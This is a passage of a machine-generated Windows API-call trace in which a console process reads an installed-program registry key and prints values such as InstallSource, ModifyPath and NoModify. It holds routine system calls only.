WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.108] GetConsoleOutputCP () returned 0x1b5 [0148.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.108] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.108] __iob_func () returned 0x7fefd702a80 [0148.108] _fileno (_File=0x7fefd702ab0) returned 1 [0148.108] _errno () returned 0xc4bb0 [0148.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.108] _errno () returned 0xc4bb0 [0148.108] GetFileType (hFile=0x50) returned 0x1 [0148.108] lstrlenW (lpString="") returned 0 [0148.108] __iob_func () returned 0x7fefd702a80 [0148.108] _fileno (_File=0x7fefd702ab0) returned 1 [0148.108] _errno () returned 0xc4bb0 [0148.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.108] _errno () returned 0xc4bb0 [0148.108] GetFileType (hFile=0x50) returned 0x1 [0148.108] lstrlenW (lpString="\n") returned 1 [0148.108] GetConsoleOutputCP () returned 0x1b5 [0148.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.108] GetConsoleOutputCP () returned 0x1b5 [0148.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.109] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.109] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.109] GetProcessHeap () returned 0x2e0000 [0148.109] GetProcessHeap () returned 0x2e0000 [0148.109] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.109] GetProcessHeap () returned 0x2e0000 [0148.109] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.109] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.110] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x38) returned 0x0 [0148.110] GetProcessHeap () returned 0x2e0000 [0148.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x3a) returned 0x2f9cc0 [0148.110] GetProcessHeap () returned 0x2e0000 [0148.110] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.110] GetProcessHeap () returned 0x2e0000 [0148.110] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3a [0148.110] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x38 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\c2527ad1556dacc342323f\\", pcbData=0x23f670*=0x36) returned 0x0 [0148.110] __iob_func () returned 0x7fefd702a80 [0148.110] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.110] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.110] _fileno (_File=0x7fefd702ab0) returned 1 [0148.110] _errno () returned 0xc4bb0 [0148.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.110] _errno () returned 0xc4bb0 [0148.110] GetFileType (hFile=0x50) returned 0x1 [0148.110] lstrlenW (lpString=" ") returned 4 [0148.110] GetConsoleOutputCP () returned 0x1b5 [0148.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.110] GetConsoleOutputCP () returned 0x1b5 [0148.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.110] lstrlenW (lpString="InstallSource") returned 13 [0148.110] __iob_func () returned 0x7fefd702a80 [0148.110] _fileno (_File=0x7fefd702ab0) returned 1 [0148.111] _errno () returned 0xc4bb0 [0148.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.111] _errno () returned 0xc4bb0 [0148.111] GetFileType (hFile=0x50) returned 0x1 [0148.111] lstrlenW (lpString="InstallSource") returned 13 [0148.111] GetConsoleOutputCP () returned 0x1b5 [0148.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.111] GetConsoleOutputCP () returned 0x1b5 [0148.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0148.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.111] __iob_func () returned 0x7fefd702a80 [0148.111] _fileno (_File=0x7fefd702ab0) returned 1 [0148.111] _errno () returned 0xc4bb0 [0148.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.111] _errno () returned 0xc4bb0 [0148.111] GetFileType (hFile=0x50) returned 0x1 [0148.111] lstrlenW (lpString=" ") returned 4 [0148.111] GetConsoleOutputCP () returned 0x1b5 [0148.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.111] GetConsoleOutputCP () returned 0x1b5 [0148.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.112] __iob_func () returned 0x7fefd702a80 [0148.112] _fileno (_File=0x7fefd702ab0) returned 1 [0148.112] _errno () returned 0xc4bb0 [0148.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.112] _errno () returned 0xc4bb0 [0148.112] GetFileType (hFile=0x50) returned 0x1 [0148.112] lstrlenW (lpString="REG_SZ") returned 6 [0148.112] GetConsoleOutputCP () returned 0x1b5 [0148.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.112] GetConsoleOutputCP () returned 0x1b5 [0148.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.112] __iob_func () returned 0x7fefd702a80 [0148.112] _fileno (_File=0x7fefd702ab0) returned 1 [0148.112] _errno () returned 0xc4bb0 [0148.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.112] _errno () returned 0xc4bb0 [0148.112] GetFileType (hFile=0x50) returned 0x1 [0148.112] lstrlenW (lpString=" ") returned 4 [0148.112] GetConsoleOutputCP () returned 0x1b5 [0148.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.113] GetConsoleOutputCP () returned 0x1b5 [0148.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.113] __iob_func () returned 0x7fefd702a80 [0148.113] _fileno (_File=0x7fefd702ab0) returned 1 [0148.113] _errno () returned 0xc4bb0 [0148.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.113] _errno () returned 0xc4bb0 [0148.113] GetFileType (hFile=0x50) returned 0x1 [0148.113] lstrlenW (lpString="C:\\c2527ad1556dacc342323f\\") returned 26 [0148.113] GetConsoleOutputCP () returned 0x1b5 [0148.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\c2527ad1556dacc342323f\\", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0148.113] GetConsoleOutputCP () returned 0x1b5 [0148.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\c2527ad1556dacc342323f\\", cchWideChar=26, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\c2527ad1556dacc342323f\\", lpUsedDefaultChar=0x0) returned 26 [0148.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 26 [0148.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.113] __iob_func () returned 0x7fefd702a80 [0148.113] _fileno (_File=0x7fefd702ab0) returned 1 [0148.113] _errno () returned 0xc4bb0 [0148.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.114] _errno () returned 0xc4bb0 [0148.114] GetFileType (hFile=0x50) returned 0x1 [0148.114] lstrlenW (lpString="\n") returned 1 [0148.114] GetConsoleOutputCP () returned 0x1b5 [0148.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.114] GetConsoleOutputCP () returned 0x1b5 [0148.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.114] GetProcessHeap () returned 0x2e0000 [0148.114] GetProcessHeap () returned 0x2e0000 [0148.114] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.114] GetProcessHeap () returned 0x2e0000 [0148.114] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3a [0148.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0148.114] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.114] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.114] GetProcessHeap () returned 0x2e0000 [0148.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.115] GetProcessHeap () returned 0x2e0000 [0148.115] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.115] GetProcessHeap () returned 0x2e0000 [0148.115] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.115] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.115] __iob_func () returned 0x7fefd702a80 [0148.115] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.115] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.115] _fileno (_File=0x7fefd702ab0) returned 1 [0148.115] _errno () returned 0xc4bb0 [0148.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.115] _errno () returned 0xc4bb0 [0148.115] GetFileType (hFile=0x50) returned 0x1 [0148.115] lstrlenW (lpString=" ") returned 4 [0148.115] GetConsoleOutputCP () returned 0x1b5 [0148.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.115] GetConsoleOutputCP () returned 0x1b5 [0148.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.115] lstrlenW (lpString="ModifyPath") returned 10 [0148.115] __iob_func () returned 0x7fefd702a80 [0148.115] _fileno (_File=0x7fefd702ab0) returned 1 [0148.115] _errno () returned 0xc4bb0 [0148.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.115] _errno () returned 0xc4bb0 [0148.115] GetFileType (hFile=0x50) returned 0x1 [0148.115] lstrlenW (lpString="ModifyPath") returned 10 [0148.116] GetConsoleOutputCP () returned 0x1b5 [0148.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.116] GetConsoleOutputCP () returned 0x1b5 [0148.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0148.116] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.116] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.116] __iob_func () returned 0x7fefd702a80 [0148.116] _fileno (_File=0x7fefd702ab0) returned 1 [0148.116] _errno () returned 0xc4bb0 [0148.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.116] _errno () returned 0xc4bb0 [0148.116] GetFileType (hFile=0x50) returned 0x1 [0148.116] lstrlenW (lpString=" ") returned 4 [0148.116] GetConsoleOutputCP () returned 0x1b5 [0148.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.116] GetConsoleOutputCP () returned 0x1b5 [0148.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.116] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.116] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.117] __iob_func () returned 0x7fefd702a80 [0148.117] _fileno (_File=0x7fefd702ab0) returned 1 [0148.117] _errno () returned 0xc4bb0 [0148.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.117] _errno () returned 0xc4bb0 [0148.117] GetFileType (hFile=0x50) returned 0x1 [0148.117] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.117] GetConsoleOutputCP () returned 0x1b5 [0148.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.117] GetConsoleOutputCP () returned 0x1b5 [0148.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.117] __iob_func () returned 0x7fefd702a80 [0148.117] _fileno (_File=0x7fefd702ab0) returned 1 [0148.117] _errno () returned 0xc4bb0 [0148.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.117] _errno () returned 0xc4bb0 [0148.117] GetFileType (hFile=0x50) returned 0x1 [0148.117] lstrlenW (lpString=" ") returned 4 [0148.117] GetConsoleOutputCP () returned 0x1b5 [0148.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.117] GetConsoleOutputCP () returned 0x1b5 [0148.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.118] __iob_func () returned 0x7fefd702a80 [0148.118] _fileno (_File=0x7fefd702ab0) returned 1 [0148.118] _errno () returned 0xc4bb0 [0148.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.118] _errno () returned 0xc4bb0 [0148.118] GetFileType (hFile=0x50) returned 0x1 [0148.118] lstrlenW (lpString="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}") returned 52 [0148.118] GetConsoleOutputCP () returned 0x1b5 [0148.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.118] GetConsoleOutputCP () returned 0x1b5 [0148.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", lpUsedDefaultChar=0x0) returned 52 [0148.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.118] __iob_func () returned 0x7fefd702a80 [0148.118] _fileno (_File=0x7fefd702ab0) returned 1 [0148.118] _errno () returned 0xc4bb0 [0148.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.118] _errno () returned 0xc4bb0 [0148.118] GetFileType (hFile=0x50) returned 0x1 [0148.118] lstrlenW (lpString="\n") returned 1 [0148.118] GetConsoleOutputCP () returned 0x1b5 [0148.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.119] GetConsoleOutputCP () returned 0x1b5 [0148.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.119] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.119] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.119] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.119] GetProcessHeap () returned 0x2e0000 [0148.119] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.119] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.119] __iob_func () returned 0x7fefd702a80 [0148.119] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.119] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.119] _fileno (_File=0x7fefd702ab0) returned 1 [0148.119] _errno () returned 0xc4bb0 [0148.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.119] _errno () returned 0xc4bb0 [0148.120] GetFileType (hFile=0x50) returned 0x1 [0148.120] lstrlenW (lpString=" ") returned 4 [0148.120] GetConsoleOutputCP () returned 0x1b5 [0148.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.120] GetConsoleOutputCP () returned 0x1b5 [0148.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.120] lstrlenW (lpString="NoModify") returned 8 [0148.120] __iob_func () returned 0x7fefd702a80 [0148.120] _fileno (_File=0x7fefd702ab0) returned 1 [0148.120] _errno () returned 0xc4bb0 [0148.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.120] _errno () returned 0xc4bb0 [0148.120] GetFileType (hFile=0x50) returned 0x1 [0148.120] lstrlenW (lpString="NoModify") returned 8 [0148.120] GetConsoleOutputCP () returned 0x1b5 [0148.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 